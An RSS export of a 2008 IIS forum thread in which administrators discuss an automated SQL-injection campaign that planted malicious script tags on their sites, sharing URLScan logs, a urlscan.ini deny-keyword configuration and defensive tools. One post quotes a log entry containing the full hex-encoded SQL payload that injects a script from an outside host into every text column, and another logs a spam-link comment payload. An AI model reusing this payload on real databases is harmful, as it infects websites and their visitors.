Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/y.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 12:58:06] Client at 122.168.200.189: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 13:04:54] Client at 190.19.198.60: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/y.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 13:05:58] Client at 122.163.163.163: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/m.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 13:08:22] Client at 190.19.198.60: Rule &amp;#39;Edge&amp;#39; detected string &amp;#39;declare&amp;#39; in the query string. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1489121054&amp;#39;, Raw URL=&amp;#39;/y.asp&amp;#39;&lt;br /&gt;[08-22-2008 - 13:19:44] Client at 195.225.178.21: QueryString contains sequence &amp;#39;%%3C&amp;#39;, which is disallowed. Request will be rejected.&amp;nbsp; Site Instance=&amp;#39;1643931472&amp;#39;, Raw URL=&amp;#39;/AddReview.asp&amp;#39;, QueryString=&amp;#39;txtName=Cialis&amp;amp;txtLocation=PaokyMzP&amp;amp;txtCmnts=Nise+site.%%2C+%%3Ca+href%%3D%%22http%%3A%%2F%%2Fwww.partyvibe.com%%2Fvbulletin%%2Fmember.php%%3Fu%%3D23082%%22%%3ECialis+kaufen%%3C%%2Fa%%3E%%2C++%%25DD%%2C+%%3Ca+href%%3D%%22http%%3A%%2F%%2Fwww.newmediamedicine.com%%2Fforum%%2Fmembers%%2Fsamuelbooker.html%%22%%3EValium+online%%0D%%3C%%2Fa%%3E%%2C++5776%%2C+%%3Ca+href%%3D%%22http%%3A%%2F%%2Fwww.newmediamedicine.com%%2Fforum%%2Fmembers%%2Fclaytonwilliams.html%%22%%3ETramadol%%3C%%2Fa%%3E%%2C++54245%%2C+%%3Ca+href%%3D%%22http%%3A%%2F%%2Fvbulletin.thesite.org%%2Fmember.php%%3Fu%%3D31710%%22%%3Eviagra%%3C%%2Fa%%3E%%2C++renuiq%%2C+%%3Ca+href%%3D%%22http%%3A%%2F%%2Fwww.newmediamedicine.com%%2Fforum%%2Fmembers%%2Fkeithbreunig.html%%22%%3EAmbien%%3C%%2Fa%%3E%%2C++nvnti%%2C+%%3Ca+href%%3D%%22http%%3A%%2F%%2Fboard.muse.mu%%2Fmember.php%%3Fu%%3D98088%%22%%3EBuy+Tramadol+online%%0D%%3C%%2Fa%%3E%%2C++tbsvm%%2C+%%3Ca+href%%3D%%22http%%3A%%2F%%2Fwww.newmediamedicine.com%%2Fforum%%2Fmembers%%2Fsamuelbooker.html%%22%%3EDiazepam%%3C%%2Fa%%3E%%2C++ivbp%%2C+%%3Ca+href%%3D%%22http%%3A%%2F%%2Fcommunity.fotopic.net%%2Fuser%%2Fyyogml.html%%22%%3ECheap+Valium%%3C%%2Fa%%3E%%2C++1672%%2C+&amp;amp;escid=1010&amp;#39;&lt;br /&gt;&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877462.aspx</link><pubDate>Fri, 22 Aug 2008 17:20:25 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877462</guid><dc:creator>silkyfixer</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877462.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877462</wfw:commentRss><description>&lt;p&gt;[Options]&lt;br /&gt;UseDenyVerbs=1&lt;br /&gt;UseDenyExtensions=1&lt;br /&gt;NormalizeUrlBeforeScan=0&lt;br /&gt;VerifyNormalization=0&lt;br /&gt;AllowHighBitCharacters=1&lt;br /&gt;AllowDotInPath=1&lt;br /&gt;RemoveServerHeader=0&lt;br /&gt;EnableLogging=1&lt;br /&gt;PerProcessLogging=0&lt;br /&gt;AllowLateScanning=0&lt;br /&gt;PerDayLogging=1&lt;br /&gt;UseFastPathReject=0&lt;br /&gt;LogLongUrls=0&lt;br /&gt;UnescapeQueryString=1&lt;br /&gt;RejectResponseUrl=&lt;br /&gt;LoggingDirectory=Logs&lt;br /&gt;AlternateServerName=&lt;br /&gt;RuleList=Edge&lt;/p&gt;
&lt;p&gt;[Edge]&lt;br /&gt;AppliesTo=.asp,.aspx,.inc&lt;br /&gt;DenyDataSection=Edge Data&lt;br /&gt;ScanURL=0&lt;br /&gt;ScanAllRaw=0&lt;br /&gt;ScanQueryString=1&lt;br /&gt;ScanHeaders=&lt;/p&gt;
&lt;p&gt;[Edge Data]&lt;br /&gt;declare&lt;br /&gt;DECLARE&lt;br /&gt;cursor&lt;br /&gt;CURSOR&lt;/p&gt;
&lt;p&gt;[AllowVerbs]&lt;br /&gt;GET&lt;br /&gt;POST&lt;br /&gt;HEAD&lt;/p&gt;
&lt;p&gt;[DenyVerbs]&lt;br /&gt;PROPFIND&lt;br /&gt;CONNECT&lt;/p&gt;
&lt;p&gt;[DenyExtensions]&lt;br /&gt;.bat&lt;br /&gt;.cmd&lt;/p&gt;
&lt;p&gt;[DenyQueryStringSequences]&lt;br /&gt;&amp;lt;&lt;br /&gt;&amp;gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;if i try to use some of the ones i find on the net it breaks most of my sites.&lt;/p&gt;
&lt;p&gt;thanks for your time&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;silkyfixer&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877458.aspx</link><pubDate>Fri, 22 Aug 2008 16:14:24 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877458</guid><dc:creator>steve schofield</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877458.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877458</wfw:commentRss><description>&lt;p&gt;What is your urlscan.ini setup to look for.&lt;/p&gt;
&lt;p&gt;[SQL Injection Raw]&lt;br /&gt;AppliesTo=.asp,.aspx&lt;br /&gt;&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877453.aspx</link><pubDate>Fri, 22 Aug 2008 15:44:20 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877453</guid><dc:creator>silkyfixer</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877453.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877453</wfw:commentRss><description>&lt;p&gt;i found this for today in my logs i noticed my database was infected this morning. happend last night this is the only declare in my log i wonder if they are using something else other than declare&lt;/p&gt;
&lt;p&gt;GET /index.asp ;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S); 80 - 65.96.169.213 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.04506.648;+.NET+CLR+3.5.21022) - - 200 0 0 34770 1607 9765&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877452.aspx</link><pubDate>Fri, 22 Aug 2008 15:38:20 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877452</guid><dc:creator>silkyfixer</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877452.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877452</wfw:commentRss><description>&lt;p&gt;my problem is that i have various websites that connect to the same database i need some sort of trigger that catches the update on the database with a &amp;lt;script in the update and tell me what site it came from. i have sanatized most of my code as well but every 2-3 weeks 1 of my databases still gets infected. &lt;/p&gt;
&lt;p&gt;would you have a trigger script i could install globaly on my sql server ?&lt;/p&gt;
&lt;p&gt;thanks&lt;/p&gt;
&lt;p&gt;silkyfixer&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877419.aspx</link><pubDate>Fri, 22 Aug 2008 04:19:26 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877419</guid><dc:creator>steve schofield</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877419.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877419</wfw:commentRss><description>&lt;p&gt;Do you have the IIS logs entry that shows the one that squeeked through?&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.iislogs.com/urlscan.txt"&gt;http://www.iislogs.com/urlscan.txt&lt;/a&gt; is my config.&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877416.aspx</link><pubDate>Fri, 22 Aug 2008 03:28:03 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877416</guid><dc:creator>silkyfixer</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877416.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877416</wfw:commentRss><description>&lt;p&gt;well one sneaked through my urlscan 3.0 i am still trying to figuare out how they got past the declare statement. can you post your config ?&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;silkyfixer&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1877342.aspx</link><pubDate>Thu, 21 Aug 2008 10:43:01 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877342</guid><dc:creator>steve schofield</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1877342.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1877342</wfw:commentRss><description>&lt;p&gt;URLScan 3.0 was released to help with these types of automated attacks.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx"&gt;http://blogs.iis.net/nazim/archive/2008/08/19/urlscan-v3-0-rtw-released.aspx&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1876471.aspx</link><pubDate>Mon, 11 Aug 2008 09:55:33 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1876471</guid><dc:creator>kimrennin</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1876471.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1876471</wfw:commentRss><description>&lt;br /&gt;&lt;p&gt;The number of infected Web pages spiked to 282,000 in the past day, and appears to be growing. Network managers can check to see whether their Web pages are infected with the iFrame code by looking for a specific code string in the source code of the Web page associated to an iFrame tag. The string is &amp;lt;script src=http://www.nihaorr1.com/1.js&amp;gt;, according to the security vendor.The worst part of it all is that these infestations are not in seamy Web sites, they are taking place in legitimate Web pages. An IFRAME redirects the user to another page, where identity-stealing malware is downloaded onto their computer. So even users who think they are staying clean are not safe. The malicious page scans the visitors machine to find ways to compromise the visitors machine. Exploits are then downloaded and used to infected the redirected visitor based on the &lt;br /&gt;information found on the scan. &lt;/p&gt;&lt;p&gt;--------------------------- &lt;/p&gt;&lt;p&gt;kimrennin&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;table&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;span class="tablealert"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/td&gt;
							&lt;td align="left"&gt;
								&lt;a href="http://www.lmltrade.com/"&gt;WideCircles&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;table&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;br /&gt;&lt;/td&gt;
							&lt;td align="left"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/thread/1872277.aspx</link><pubDate>Fri, 20 Jun 2008 21:02:53 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1872277</guid><dc:creator>wybnormal</dc:creator><slash:comments>0</slash:comments><comments>http://forums.iis.net/thread/1872277.aspx</comments><wfw:commentRss>http://forums.iis.net/commentrss.aspx?SectionID=1031&amp;PostID=1872277</wfw:commentRss><description>You can stop the SQL attacks with an ISPI filter called &amp;quot;WebKnight&amp;quot; which is a freebie. It will among other things, watch for the string length on the forms and if it exceeds X number of characters, it blocks it. It will also look for embedded commands etc. This has stopped the attacks against our servers for the past three weeks.

The company name is &amp;quot;Aqtronix&amp;quot;

http://www.aqtronix.com/?PageID=99</description></item></channel></rss>